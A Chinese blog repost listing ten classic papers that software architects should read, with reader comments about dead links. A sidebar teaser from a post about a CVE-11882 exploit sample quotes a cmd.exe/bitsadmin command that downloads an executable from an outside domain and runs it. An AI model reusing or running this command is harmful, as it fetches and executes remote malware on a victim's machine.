文档章节

所有架构师都应该至少读上两遍的10篇论文

MtrS
 MtrS
发布于 2014/06/22 19:46
字数 451
阅读 393
收藏 39

刚才看到Reddit上Arnon Rotem-Gal-Oz的“所有架构师都应该至少读上两遍的十篇论文”这篇文章又跑到前面去了,醒悟过来,我前几天写的那个blog犯了一个大错:把两个不同的责任放到一个模块里去了。现在,本着解耦合的原则,单独再介绍一下。

Feathers的文章“所有程序员都应该至少读上两遍的十篇论文”显然成了这几天网上的热门话题,我们另外一本已经获得版权的书《SOA Patterns》(Manning,2009)的作者Arnon Rotem-Gal-Oz受他启发,选出了他认为最有价值的十篇论文:

1. The Byzantine Generals Problem (1982) by Leslie Lamport, Robert Shostak and Marshall Pease
2. Go To statements considered harmfull (1968) - by Edsger W. Dijkstra
3. A Note on Distributed Computing (1994) - by Samuel C. Kendall, Jim Waldo, Ann Wollrath and Geoff Wyant
4. Big Ball of Mud (1999) - Brian Foote and Joseph Yoder
5. No Silver Bullet Essence and Accidents of Software Engineering (1987) - Frederick P. Brooks
6. The Open Closed Principle (1996) - Robert C. Martin (Uncle Bob)
7. IEEE1471-2000 A recommended practice for architectural description of software intensive systems (2000)
8. Harvest, Yield, and Scalable Tolerant Systems (1999) Armando Fox, Eric A. Brewer
9. An Introduction to Software Architecture (1993) - David Garlan and Mary Shaw
10. Who Needs an Architect? (2003) Martin Fowler

注意到了吗,其中的第3篇是Feathers也推荐的。

习惯读论文,习惯读原始文献,习惯读国外出的好书(以及优秀的翻译版),习惯读大师的东西,你的境界会在不知不觉地提高。

噢,对了,这个blog里也有很多优秀论文的介绍。还有这个(晕,这也要翻墙看?)。

这里有网上自由(可不是国内CSDN之类的盗版哦)电子书。这里列出了许多数学书,不少都是好书啊。


本文转载自:http://blog.csdn.net/turingbook/article/details/3975025

共有 人打赏支持
MtrS
粉丝 30
博文 549
码字总数 352132
作品 0
榆林
加载中

评论(3)

zzuqiang
zzuqiang
连接一下是404
许雷神
许雷神
先留言
Toxsch
Toxsch
真心怀疑是不是真的有人看过,连接全部都是404,明显csdn那边所谓的原创也是转载。
分享几篇文章(PDF版)

后天就要回老家了,除了团团年估计也没有其他好玩的,就琢磨下点经典文章带回去看看。 Google一番找到了老赵很早以前的文章: http://www.cnblogs.com/JeffreyZhao/archive/2009/03/02/1401...

长平狐
2013/11/25
63
0
三个月教你从零入门深度学习

  最新更新:【深度学习系列】PaddlePaddle之手写数字识别(10.26更新)        【深度学习系列】卷积神经网络CNN原理详解(一)——基本原理(11.1更新)         【深度学习...

Charlotte77
2017/10/26
0
0
好的代码至少要修改两遍

近些年来,越来越多的人开始转向敏捷开发,而且这些敏捷开发的技术已不再新鲜,大多都是在 80 和 90 年代设计形成的。但是,最近几年,程序员,特别是一些商业顾问,架构师和客户开始喜欢上了...

oschina
2014/11/25
4.6K
32
2014年计算机求职总结--准备篇

版权所有,转载请注明出处,谢谢! http://blog.csdn.net/walkinginthewind/article/details/13000431 找工作是一个长期准备的过程,突击是没什么效果的。准备时间越长,准备就越充分,就越容...

u011729265
2013/10/27
0
0
CVPR 2018,雷锋网AI科技评论将亲临现场!

第 31 届 计算机视觉和模式识别大会(Conference on Computer Vision and Pattern Recognition, CVPR)即将在 6 月 18 日至 22 日在美国盐湖城召开。 雷锋网 AI 科技评论届时将进行全程专题报...

隔壁王大喵
06/15
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
13分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
26分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
28分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
39分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部